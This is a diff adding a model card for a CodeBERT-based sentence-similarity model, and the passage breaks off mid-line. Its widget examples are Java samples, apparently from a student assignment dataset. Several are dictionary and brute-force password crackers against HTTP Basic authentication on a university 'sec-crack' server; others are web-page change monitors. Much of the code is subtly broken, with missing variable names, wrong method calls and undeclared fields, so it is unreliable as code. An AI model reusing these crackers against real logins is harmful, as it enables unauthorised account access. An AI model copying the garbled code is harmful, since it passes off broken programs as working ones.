diff --git "a/README.md" "b/README.md" new file mode 100644--- /dev/null +++ "b/README.md" @@ -0,0 +1,1300 @@ +--- +tags: +- sentence-transformers +- sentence-similarity +- feature-extraction +- generated_from_trainer +- dataset_size:33411 +- loss:BatchAllTripletLoss +base_model: microsoft/codebert-base +widget: +- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.*;\nimport\ + \ java.Runtime.*;\nimport java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\ + \npublic class Dictionary \n{\n String uname = \"\";\n String pword = \"null\"\ + ;\n Vector v = new Vector();\n int runTime;\n public void doConnect(String\ + \ connect, int num)\n {\n String = connect;\n \n try\n {\n \ + \ URL secureSite = new URL();\n URLConnection connection = secureSite.openConnection();\n\ + \ if (uname != null || pword != null)\n\t {\n\t \n\t for(int i=num;\ + \ i> 18;\n out [\ + \ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\ + \ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \ + \ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\ + \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n\ + \ out [ outIndex++ ] = alphabet [ bits6 ];\n }\n\ + \ \n if ( octetString.length - i == 2 )\n {\n \ + \ \n bits24 = ( octetString [ i ] & 0xFF ) <<\ + \ 16;\n bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;\n \ + \ bits6=( bits24 & 0x00FC0000 )>> 18;\n out [ outIndex++\ + \ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >>\ + \ 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \ + \ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\ + \ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\ + \ ] = '=';\n }\n else if ( octetString.length - i ==\ + \ 1 )\n {\n \n bits24 = ( octetString\ + \ [ i ] & 0xFF ) << 16;\n bits6=( bits24 & 0x00FC0000 )>> 18;\n\ + \ out [ outIndex++ ] = alphabet [ bits6 ];\n \ + \ bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++\ + \ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\ + \ ] = '=';\n out [ outIndex++ ] = '=';\n }\n \n\ + \ return new String ( out );\n }\n }\n \n \n" + sentences: + - "\n\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\nimport java.net.*;\n\ + \npublic class WatchDog\n{\n\n static Process p = null;\n static Process qproc\ + \ = null;\n\n static BufferedReader bf = null;\n static StringTokenizer tok\ + \ = null;\n\n static String Path = null;\n static String str = null;\n static\ + \ String urlStr=null;\n static boolean changed = false;\n\n static File indexfile\ + \ = new File(\"index.html\");\n static File tmpfile = new File(\"tmpindex.html\"\ + );\n static File mdfile = new File(\"md5file.txt\");\n static File tmpmdfile\ + \ = new File(\"tmpmd5file.txt\");\n static PrintWriter mailwriter = null;\n\n\ + \n public static void main (String[] args) \n {\n\n urlStr = \"http://www.cs.rmit.edu./\"\ + ;\n\n try\n {\n \n mailwriter = new PrintWriter(new\ + \ BufferedWriter(new FileWriter(\"tomail.txt\", false)));\n\n getLatest(urlStr);\n\ + \ parseFile(); \n\n mailwriter.read();\n\n if(changed)\n\ + \ {\n System.out.println(\"Sending Mail\");\n p\ + \ = Runtime.getRuntime().exec(\"./mailscript\");\n p.waitFor();\n\n\ + \ }\n else\n System.out.println(\" mail sent\");\n\n\ + \ } catch (IOException ioe)\n {\n System.out.println(\"\ + IOException\");\n ioe.printStackTrace();\n }\n catch\ + \ (InterruptedException intex)\n {\n System.out.println(\"\ + Interrupted Exception\");\n intex.printStackTrace();\n }\n\n\ + \n }\n\n\n static void getLatest(String urlStr)\n { \n \n URL\ + \ url = null;\n \n try\n {\n url = new URL(urlStr);\n\n\ + \ } catch (MalformedURLException mfurl)\n {\n System.out.println(\"\ + Malformed URL\");\n mfurl.printStackTrace();\n }\n\n try\n\ + \ {\n mailwriter.println();\n\n p = Runtime.getRuntime().exec(\"\ + /usr//pwd\"); \n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\ + \ p.getInputStream()));\n\n Path=bf.readLine();\n\ + \n if (indexfile.exists())\n {\n mailwriter.println(\"\ + File with name 'index.html' found in directory.\");\n mailwriter.println(\"\ + Renaming existing 'index.html' 'tmpindex.html...\");\n p = Runtime.getRuntime().exec(\"\ + /usr//mv \"+indexfile+ \" \" + Path+\"/\"+tmpfile);\n p.waitFor();\n\ + \ p = Runtime.getRuntime().exec(\"/usr//mv \"+mdfile+ \" \" + Path+\"\ + /\"+tmpmdfile);\n mailwriter.println();\n mailwriter.println(\"\ + File with name 'md5file.txt' found in directory.\");\n mailwriter.print(\"\ + Renaming existing 'md5file.txt' 'tmpmd5file.txt...\");\n\n mailwriter.println(\"\ + .\");\n\n mailwriter.println();\n }\n\n mailwriter.println(\"\ + Downloading current version of site - \" + urlStr);\n p = Runtime.getRuntime().exec(\"\ + /usr/local//wget \"+url);\n p.waitFor();\n if (!tmpfile.exists())\n\ + \ {\n mailwriter.println(\"File - \" + urlStr + \"index.html\ + \ saved disk for the first time.\");\n }\n\n\n } catch (IOException\ + \ ioe)\n {\n System.out.println(\"IOException\");\n \ + \ ioe.printStackTrace();\n }\n catch (IndexOutOfBoundsException\ + \ iobe)\n {\n System.out.println(\"Index Out Of Bounds Exception\"\ + );\n iobe.printStackTrace();\n }\n catch (Exception e)\n\ + \ {\n System.out.println(\"Exception\");\n e.printStackTrace();\n\ + \ }\n }\n\n static void parseFile()\n {\n\n Vector imgVect =\ + \ new Vector();\n\n try\n {\n p = Runtime.getRuntime().exec(\"\ + /usr//grep img \" + Path + \"/\"+ indexfile);\n p.waitFor();\n \ + \ bf = new BufferedReader(new InputStreamReader(\n p.getInputStream()));\n\ + \n while((str=bf.readLine())!=null)\n {\n bf = new\ + \ StringTokenizer(str, \"\\\"\", false);\n \n while(bf.hasMoreTokens())\n\ + \ {\n str=bf.nextToken();\n if ((str.indexOf(\"\ + gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n imgVect.addElement(str);\n\ + \ }\n \n }\n\n }catch (IOException ioe)\n \ + \ {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n\ + \ }\n catch (Exception e)\n {\n System.out.println(\"\ + Exception\");\n e.printStackTrace();\n }\n\n mailwriter.println(\"\ + Creating file with md5sums of the webpage and images...\");\n md5Create(imgVect);\n\ + \n }\n\n static void md5Create(Vector imgVect)\n {\n String tmpString\ + \ = null;\n Vector imgNames = new Vector();\n\n try\n {\n \ + \ PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile,\ + \ false)));\n \n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+indexfile);\n\ + \ p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\ + \ p.getInputStream()));\n pr.println(bf.readLine());\n\ + \ \n for(int i=0; i 0) || (str.indexOf(\"jpg\") > 0))\n \ + \ prsName=str;\n }\n return (Object)prsName;\n }\n}\n" + - "import java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\ + \npublic class WatchDog\n{\n private String address;\n private UnixMailing\ + \ email;\n\n private int step = 0;\n private String buffer = \"\";\n\n public\ + \ static void main(String [] args)\n {\n if (args.length < 2)\n {\n\ + \ System.err.println(\"Invalid usage!\");\n System.err.println(\"\ + Usage: java WatchDog \");\n System.exit(1);\n }\n\n\ + \ String address = args[0];\n String email = args[1];\n WatchDog\ + \ theProg = new WatchDog(address, email);\n\n try\n {\n File\ + \ currDir = new File(\".\");\n File [] list = currDir.listFiles();\n \ + \ for (int i = 0; i < list.length; i++)\n {\n if (list[i].getName().trim().startsWith(\"\ + _buffer\"))\n list[i].delete();\n }\n }\n catch(Exception\ + \ e) {}\n\n while (true)\n {\n theProg.checkPage();\n \ + \ try\n {\n Thread.sleep();\n }\n catch(InterruptedException\ + \ e ) {}\n }\n\n }\n\n public WatchDog(String address, String email)\n\ + \ {\n this.address = address;\n this.email = new UnixMailing(email);\n\ + \ }\n\n public void checkPage()\n {\n try\n {\n File buffFp\ + \ = new File(\"_bufferFile.html\");\n Vector imgs = new Vector();\n\n\ + \ boolean getAgain = false;\n if (buffFp.exists())\n {\n\ + \ URLConnection conn = (new URL(address)).openConnection();\n \ + \ conn.setDoInput(true);\n conn.connect();\n DataInputStream\ + \ inNet = new DataInputStream(conn.getInputStream());\n\n System.out.println(\"\ + Checking file \"+address);\n char i = '\\0';\n char f =\ + \ '\\0';\n DataInputStream inFile = new DataInputStream(\n \ + \ new FileInputStream(buffFp));\n \ + \ try\n {\n int step = 0;\n while(true)\n\ + \ {\n i = (char)inNet.readByte();\n \ + \ f = (char)inFile.readByte();\n\n if (i != f)\n \ + \ {\n email.println(\" changes in the content\ + \ of the web: \"+address);\n System.out.println(\" changes\ + \ in the content of the web: \"+address);\n getAgain = true;\n\ + \ break;\n }\n tokenImages(i,\ + \ imgs);\n }\n }\n catch(EOFException eofe)\ + \ {}\n\n if (!getAgain)\n {\n try\n \ + \ {\n i = (char)inNet.readByte();\n \ + \ email.println(\" changes in the content of the web: \"+address);\n \ + \ System.out.println(\" changes in the content of the web: \"+address);\n\ + \ getAgain = true;\n }\n catch(EOFException\ + \ eofe) {}\n try\n {\n f = (char)inFile.readByte();\n\ + \ email.println(\" changes in the content of the web: \"+address);\n\ + \ System.out.println(\" changes in the content of the web: \"\ + +address);\n getAgain = true;\n }\n \ + \ catch(EOFException eofe) {}\n }\n\n inFile.print();\n\ + \ inNet.print();\n }\n else\n getAgain =\ + \ true;\n\n\n if (getAgain)\n {\n getAgain = false;\n\ + \ URLConnection conn = (new URL(address)).openConnection();\n \ + \ conn.setDoInput(true);\n conn.connect();\n DataInputStream\ + \ inNet = new DataInputStream(conn.getInputStream());\n\n System.out.println(\"\ + Storing file \"+address);\n DataOutputStream outFile = new DataOutputStream(\n\ + \ new FileOutputStream(buffFp));\n\ + \ byte i = 0;\n try\n {\n while(true)\n\ + \ {\n i = inNet.readByte();\n \ + \ outFile.writeByte(i);\n tokenImages((char)i, imgs);\n \ + \ }\n }\n catch(EOFException eofe) {}\n\n \ + \ outFile.print();\n inNet.print();\n }\n for(int\ + \ index = 0; index < imgs.size(); index++)\n checkImage(address, (String)imgs.get(index));\n\ + \ email.sent();\n }\n catch(Exception e)\n {\n \ + \ e.printStackTrace();\n }\n }\n\n\n public void tokenImages(char i,\ + \ Vector imgs)\n {\n if (step == 1) \n {\n if (i == 'i' &&\ + \ buffer.length() <= 0 ||\n i == 'm' && buffer.equals(\"i\") ||\n\ + \ i == 'g' && buffer.equals(\"im\"))\n {\n buffer\ + \ += i;\n buffer = buffer.toLowerCase();\n }\n else\n\ + \ {\n if (Character.isWhitespace(i) && buffer.equals(\"img\"\ + ))\n step = 2;\n else if (!Character.isWhitespace(i)\ + \ || buffer.length() > 0)\n step = 0;\n buffer = \"\"\ + ;\n }\n }\n else if (step == 2) \n {\n if (i ==\ + \ 's' && buffer.length() <= 0 ||\n i == 'r' && buffer.equals(\"s\"\ + ) ||\n i == 'c' && buffer.equals(\"sr\"))\n {\n \ + \ buffer += i;\n buffer = buffer.toLowerCase();\n }\n \ + \ else\n {\n if (Character.isWhitespace(i) && buffer.equals(\"\ + src\"))\n step = 3;\n else if (i == '=' && buffer.equals(\"\ + src\"))\n step = 4;\n else if (i == '>')\n \ + \ step = 0;\n buffer = \"\";\n }\n }\n else if\ + \ (step == 3) \n {\n if (i == '=')\n {\n step\ + \ = 4;\n }\n else if (!Character.isWhitespace(i))\n {\n\ + \ if(i == '>')\n step = 0;\n else\n \ + \ step = 2;\n buffer = \"\";\n }\n }\n else\ + \ if (step == 4) \n {\n if (i == '\\\"')\n {\n \ + \ step = 5;\n buffer = \"\";\n }\n else if (!Character.isWhitespace(i))\n\ + \ {\n if(i == '>')\n {\n buffer =\ + \ \"\";\n step = 0;\n }\n else\n \ + \ {\n buffer = \"\"+i;\n step = 6;\n \ + \ }\n\n }\n\n }\n else if (step == 5) \n {\n if\ + \ (i == '\\\"')\n {\n if (buffer.trim().length() > 0)\n \ + \ imgs.add(buffer);\n buffer = \"\";\n step =\ + \ 0;\n }\n else\n buffer += i;\n }\n else\ + \ if (step == 6) \n {\n if (Character.isWhitespace(i) || i == '>')\n\ + \ {\n if (buffer.trim().length() > 0)\n imgs.add(buffer);\n\ + \ buffer = \"\";\n step = 0;\n }\n else\n\ + \ buffer += i;\n }\n else if(i == '<')\n {\n \ + \ step = 1;\n buffer = \"\";\n }\n }\n\n public void checkImage(String\ + \ hostUrl, String imageUrl)\n {\n try\n {\n String fullURL\ + \ = \"\";\n if (imageUrl.startsWith(\"http\"))\n {\n \ + \ fullURL = imageUrl;\n }\n else if (imageUrl.startsWith(\"\ + /\"))\n {\n fullURL = \"http://\"+(new URL(hostUrl)).getHost()+imageUrl;\n\ + \ }\n else\n {\n String path = (new URL(hostUrl)).getPath();\n\ + \ if (!path.endsWith(\"/\"))\n path = path.substring(0,\ + \ path.lastIndexOf('/')+1);\n\n fullURL = \"http://\"+(new URL(hostUrl)).getHost()+path+imageUrl;\n\ + \ }\n\n File buffFp = new File(\"_buffer\"+\n \ + \ (new URL(fullURL)).getPath().replaceAll(\"/\", \"_\"));\n Vector\ + \ imgs = new Vector();\n\n boolean getAgain = false;\n if (buffFp.exists())\n\ + \ {\n URLConnection conn = (new URL(fullURL)).openConnection();\n\ + \ conn.setDoInput(true);\n conn.connect();\n \ + \ DataInputStream inNet = new DataInputStream(conn.getInputStream());\n\n \ + \ System.out.println(\"Checking image: \"+fullURL);\n byte i\ + \ = 0;\n byte f = 0;\n DataInputStream inFile = new DataInputStream(\n\ + \ new FileInputStream(buffFp));\n\ + \ try\n {\n int step = 0;\n \ + \ while(true)\n {\n i = inNet.readByte();\n \ + \ f = inFile.readByte();\n\n if (i != f)\n \ + \ {\n email.println(\"Image \"+fullURL+\" has\ + \ been change!\");\n System.out.println(\"Image \"+fullURL+\"\ + \ has been change!\");\n getAgain = true;\n \ + \ break;\n }\n }\n }\n \ + \ catch(EOFException eofe) {}\n\n if (!getAgain)\n {\n\ + \ try\n {\n i = inNet.readByte();\n\ + \ email.println(\"Image \"+fullURL+\" has been change!\");\n\ + \ System.out.println(\"Image \"+fullURL+\" has been change!\"\ + );\n getAgain = true;\n }\n catch(EOFException\ + \ eofe) {}\n try\n {\n f = inFile.readByte();\n\ + \ email.println(\"Image \"+fullURL+\" has been change!\");\n\ + \ System.out.println(\"Image \"+fullURL+\" has been change!\"\ + );\n getAgain = true;\n }\n catch(EOFException\ + \ eofe) {}\n }\n\n inFile.print();\n inNet.print();\n\ + \ }\n else\n getAgain = true;\n\n if (getAgain)\n\ + \ {\n getAgain = false;\n URLConnection conn = (new\ + \ URL(fullURL)).openConnection();\n conn.setDoInput(true);\n \ + \ conn.connect();\n DataInputStream inNet = new DataInputStream(conn.getInputStream());\n\ + \n System.out.println(\"Storing the image: \"+fullURL);\n \ + \ DataOutputStream outFile = new DataOutputStream(\n \ + \ new FileOutputStream(buffFp));\n byte i = 0;\n\ + \ try\n {\n while(true)\n {\n\ + \ i = inNet.readByte();\n outFile.writeByte(i);\n\ + \ }\n }\n catch(EOFException eofe) {}\n\n\ + \ outFile.print();\n inNet.print();\n }\n }\n\ + \ catch(Exception e)\n {\n e.printStackTrace();\n }\n \ + \ }\n}\n\n" + - "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n public\ + \ static void main(String[] args) {\n new CrackAttempt();\n }\n}\n\nclass\ + \ CrackAttempt {\n public CrackAttempt() {\n final int MAX_LENGTH = 3;\n\ + \ boolean auth = false;\n Date = new Date();\n boolean morePasswords\ + \ = true;\n int passPtr = 0;\n StringBuffer validChars = new StringBuffer(\"\ + abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n char[] password\ + \ = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n \ + \ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ + ;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\ + \ URL url = new URL(resource);\n HttpURLConnection conn\ + \ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\ + HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\ + \ {\n System.out.println(\"cracked with \" + new String(password));\n\ + \ auth = true;\n }\n } catch (Exception e) {\n\ + \ System.out.println(\" was exception: \" + e.getMessage());\n \ + \ }\n int count = passPtr;\n while (true) {\n \ + \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \ + \ password[count] = validChars.charAt(0);\n count--;\n\ + \ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\ + \ + 1);\n break;\n }\n if (count < 0) {\n\ + \ \n if (passPtr < MAX_LENGTH - 1) {\n \ + \ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\ + \ } else {\n morePasswords = false;\n \ + \ }\n break;\n }\n }\n \n }\ + \ \n if (!auth) {\n System.out.println(\"Unable determine password\"\ + );\n } else {\n time = (new Date()).getTime() - start.getTime();\n\ + \ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\ + \ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\ + \ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\ + \ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\ + \ {\n String user = \"\";\n return new PasswordAuthentication(user,\ + \ password);\n }\n}\n" +- source_sentence: "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\n\ + public class Dictionary\n{\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + ;\n private static String password;\n private static int length; \ + \ \n private static int t_counter; \n private static int f_counter;\ + \ \n \n private static int respCode;\ + \ \n private static BufferedReader buf; \n\n public Dictionary()\n\ + \ {\n FileReader fRead;\n Authenticator.setDefault(new DictionaryAuthenticator());\n\ + \ t_counter = 0;\n f_counter = 0;\n length = 0;\n\n try\n\ + \ {\n fRead = new FileReader(\"/usr/share/lib/dict/words\");\n \ + \ buf = new BufferedReader(fRead);\n }\n catch (FileNotFoundException\ + \ e)\n {\n System.out.println(\"File not found\");\n }\n }\n\ + \n public static void main(String[] args)\n {\n Dictionary dict = new\ + \ Dictionary();\n String file = \" \";\n while(respCode != 200 )\n \ + \ {\n file = dict.fetchURL();\n }\n System.out.println(\"\ + Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\ + \ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\ + \ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\ + \ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\ + \ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \ + \ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\ + \ BufferedReader in = \n new BufferedReader (new InputStreamReader\ + \ (content));\n String line;\n while ((line = in.readLine()) !=\ + \ null) \n {\n pw.println(line);\n }\n } catch\ + \ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\ + \ sw.toString();\n }\n \n class DictionaryAuthenticator extends\ + \ Authenticator \n {\n private String username = \"\";\n\n protected\ + \ PasswordAuthentication getPasswordAuthentication()\n {\n return\ + \ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\ + \ char[] generatePassword()\n {\n String word = null;\n int\ + \ chars;\n char c[] = null;\n \n chars = 0;\n \n \ + \ if(f_counter == 0) \n \n \n { \n try\n \ + \ {\n \n {\n word = buf.readLine();\n\ + \ if(word != null)\n {\n \ + \ length = word.length();\n chars = 0;\n \ + \ for(int i=0; i 3 || chars != length));\n\n }\n catch (IOException\ + \ ioe)\n {\n System.out.println(\"IO Error: \" + ioe);\n\ + \ }\n\n if(word != null)\n {\n \ + \ c = word.toCharArray(); \n password = new String(c);\n \ + \ } \n else\n {\n System.out.println(\"\ + \ more words in dictionary\");\n System.exit(0);\n }\n\ + \n f_counter++;\n } \n else\n \n {\n\ + \ c = password.toCharArray(); \n for(int i=0; i< length;\ + \ i++)\n {\n if(Character.isLowerCase(c[i]))\n \ + \ {\n c[i] = Character.toUpperCase(c[i]);\n \ + \ }\n else\n {\n c[i] = Character.toLowerCase(c[i]);\n\ + \ }\n }\n password = new String(c);\n \ + \ f_counter = 0;\n }\n\n t_counter++;\n\n return\ + \ c;\n }\n }\n}\n" + sentences: + - "\n\n\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport\ + \ javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\n\ + import javax.sql.DataSource;\n\n\n\npublic class DictionaryPropertyHelper {\n\n\ + \tprivate static Properties dictProps;\n\n\n\n\tpublic DictionaryPropertyHelper()\ + \ {\n\t}\n\n\n\t\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\ + \t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"\ + Error init'ing the dictionary Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\ + \treturn dictProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps()\ + \ throws Exception{\n\t\tif(dictProps == null){\n\t\t\tdictProps = new Properties();\n\ + \n\t\t\tInputStream fis =\n\t\t\t\tDictionaryPropertyHelper.class.getResourceAsStream(\"\ + /dictionary.properties\");\n\t\t\tdictProps.load(fis);\n\t\t}\n\t}\n}\n\n" + - "\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\ + \npublic class BruteForce extends Thread\n{\n private static final String USERNAME\ + \ = \"\";\n private static final char [] POSSIBLE_CHAR =\n {'a', 'b',\ + \ 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',\n 'n', 'o', 'p',\ + \ 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',\n 'A', 'B', 'C', 'D',\ + \ 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',\n 'N', 'O', 'P', 'Q', 'R',\ + \ 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n private static int NUMBER_OF_THREAD\ + \ = 500;\n\n private static Date startDate = null;\n private static Date endDate\ + \ = null;\n\n private String address;\n private String password;\n\n public\ + \ BruteForce(String address, String password)\n {\n this.address = address;\n\ + \ this.password = password;\n }\n\n public static void main(String[]\ + \ args) throws IOException\n {\n if (args.length < 1)\n {\n \ + \ System.err.println(\"Invalid usage!\");\n System.err.println(\"Usage:\ + \ java BruteForce \");\n System.exit(1);\n }\n\n try\n\ + \ {\n brute(args[0], USERNAME);\n }\n catch(Exception e)\n\ + \ {\n e.printStackTrace();\n System.exit(1);\n }\n \ + \ }\n\n public static void brute(String address, String user)\n {\n \ + \ BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n int index =\ + \ 0;\n\n startDate = new Date();\n for(int i = 0; i < POSSIBLE_CHAR.length;\ + \ i++)\n {\n for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n \ + \ {\n for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n \ + \ {\n String password = \"\"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n\ + \ POSSIBLE_CHAR[k];\n\n if (threads[index]\ + \ != null && threads[index].isAlive())\n {\n try\n\ + \ {\n threads[index].join();\n \ + \ }\n catch(InterruptedException e ) {}\n \ + \ }\n threads[index] = new BruteForce(address, password);\n \ + \ threads[index].get();\n\n index = (index++) % threads.length;\n\ + \ }\n }\n }\n }\n\n public void run()\n {\n \ + \ if (endDate != null)\n return;\n\n try\n {\n\n URLConnection\ + \ conn = (new URL(address)).openConnection();\n conn.setDoInput(true);\n\ + \n if (login(conn, USERNAME, password))\n {\n endDate\ + \ = new Date();\n System.out.println(\"Found the password: \\\"\"+password+\"\ + \\\"!\");\n SimpleDateFormat format = new SimpleDateFormat(\"dd/MM/yyyy\ + \ HH:mm:\");\n System.out.println(\"Process started at: \"+format.format(startDate));\n\ + \ System.out.println(\"Process started at: \"+format.format(endDate));\n\ + \ double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n\ + \ System.out.println(\"Time taken: \"+timeTaken+\" minutes\");\n \ + \ System.exit(0);\n }\n else\n {\n \ + \ System.out.println(\"Password: \\\"\"+password+\"\\\" Failed!\");\n \ + \ return;\n }\n }\n catch(Exception e)\n {\n \ + \ e.printStackTrace();\n }\n\n }\n\n public static boolean login(URLConnection\ + \ conn, String user, String pass)\n {\n try\n {\n String encodeAuth\ + \ = \" \"+Base64Encoder.encode(user+\":\"+pass);\n conn.setRequestProperty\ + \ (\"Authorization\", encodeAuth);\n conn.connect();\n conn.getInputStream();\n\ + \ }\n catch(Exception e)\n {\n return false;\n }\n\ + \ return true;\n }\n}\n\n\n" + - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\n\npublic class storeNewFile\n\ + {\n private PrintWriter outputStream= null;\n private String filename;\n \ + \ private FileWriter fw;\n\n public storeNewFile(String fname)\n {\n \ + \ try\n {\n filename = fname;\n outputStream=new PrintWriter(new\ + \ FileOutputStream(filename));\n }\n catch(FileNotFoundException e)\n\ + \ {\n\t System.err.println(\"File \"+filename+\" was not found\");\n \ + \ }\n catch(IOException e)\n {\n System.err.println(\"Error\ + \ \");\n }\n }\n public void getStringW(StringWriter sw)\n {\n \ + \ outputStream.print(sw.toString());\n }\n\n public void closeStream()\n \ + \ {\n outputStream.write();\n }\n\n public void translogFile(String\ + \ result)\n {\n String fileName = \"TransactionLog.txt\";\n \t try{\n\t\ + \ fw=new FileWriter(fileName,true);\n\t fw.write(result);\n\t fw.write('\\\ + n');\n\t fw.print();\n \t System.out.println(\"Saved sucessfully\");\n\ + \ }catch(IOException e){\n\t\tSystem.out.println(\"Error saving the file\"\ + );\n }\n }\n}" +- source_sentence: "import java.net.*; \nimport java.io.*; \nimport java.util.Vector;\n\ + import java.util.Date;\nimport java.security.*;\n\n\n\n\n\n\n\n\n\n\n\n \npublic\ + \ class Dictionary { \n public static BufferedReader in;\n \n \n public static\ + \ void main(String[] args) throws Exception { \n String baseURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + ; \n int count=0;\n Date date = new Date();\n startTime=date.getTime();\n\ + \ int LIMITINMINUTES=45;\n int TIMELIMIT=LIMITINMINUTES*1000*60;\n boolean\ + \ timedOut=false;\n boolean found=false;\n \n \n Vector dictionary=new\ + \ Vector(readWords());\n System.out.println(\"Words in dictionary: \"+dictionary.size());\n\ + \ \n \n \n \n \n \n \n while (found==false && timedOut==false\ + \ && dictionary.elementAt(count)!=null) {\n \n Date endDate = new Date();\n\ + \ endTime=endDate.getTime(); \n if (endTime>(TIMELIMIT+startTime)){\n\ + \ System.out.println(\"Timed out\");\n timedOut=true;\n }\n\ + \ \n String password = \"\";\n\n \n URL url = new URL(baseURL);\ + \ \n String username=\"\";\n password = dictionary.elementAt(count).toString();\ + \ \n\n \n String authString = username+\":\"+password;\n String\ + \ encoding = new misc.BASE64Encoder().encode(authString.getBytes()); \n System.out.print(\"\ + authString is: \"+authString); \n \n URLConnection urlConnect=url.openConnection();\n\ + \n \n urlConnect.setRequestProperty(\"Authorization\",\" \"+encoding);\n\ + \n String responseCode = urlConnect.getHeaderField(0);\n System.out.print(\"\ + \ Response is: \");\n System.out.println(responseCode);\n\n if (!responseCode.equals(\"\ + HTTP/1.1 401 Authorization Required\")) {\n found=true;\n } \ + \ \n if (found){ \n \n System.out.println(\"Password is: \"\ + +password);\n\n }\n\n Date foundDate = new Date();\n foundTime=foundDate.getTime();\ + \ \n foundTime=(foundTime-startTime);\n System.out.println(\"Time taken\ + \ was : \"+foundTime+\" milliseconds\"); \n count=count+1;\n }\n } \n\ + \ \n \n \n \n \n public static Vector readWords() { \n String nextWord;\n\ + \ String lastWord=\"\";\n Vector dict=new Vector();\n try {\n BufferedReader\ + \ in = new BufferedReader(new FileReader(\"words.txt\"));\n while ((nextWord\ + \ = in.readLine())!=null) {\n\t\n if (nextWord.length()>3) {\n \ + \ nextWord=nextWord.substring(0,3);\n }\n\t\n\tif (!lastWord.equals(nextWord)\ + \ && nextWord.length()>0){\n lastWord = nextWord;\n\t \n\t \n\t dict.addElement(nextWord);\n\ + \n\t \n\t \n\t \n\t \n\t \n\n\t \n\t \n\t \n\t \n\t \n\t \n\t \n\t\ + \ \n\t \n\t \n\n\t \n\t \n\t \n\t \n\t \n\t \n\t \n\n\t \n\ + \t \n\t \n\t \n\t \n\t \n\t \n\n\t \n\t \n\t \n\t \ + \ \n\n\t \n\t \n\t \n\t \n\n\t \n\t \n\t \n\t \n\t\ + \ \n\t\n\t} \n } \n System.out.println(\"File successfully loaded\"\ + );\t \n } \n catch (FileNotFoundException e1) {\n System.out.println(\"\ + This program requires a dictionary of words called words.txt in the same directory\ + \ as the program running, now exiting.\");\n System.exit(0);\n }\t\n \ + \ catch (IOException e2) {\n System.out.println(\"IO Exception, exiting\"\ + );\n System.exit(0);\n }\t \n finally {\n try {\n\tif (null!=in)\ + \ {\n in.get();\n\t}\n }\n catch (IOException e3) {}\n }\n\ + \ return dict;\n } \n} \n" + sentences: + - "package java.httputils;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\n\ + import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\n\ + import java.io.FileOutputStream;\nimport java.io.FileReader;\nimport java.io.IOException;\n\ + import java.io.OutputStream;\n\n\npublic class WatchDog\n{\n protected final\ + \ int MILLIS_IN_HOUR = (60 * 60 * 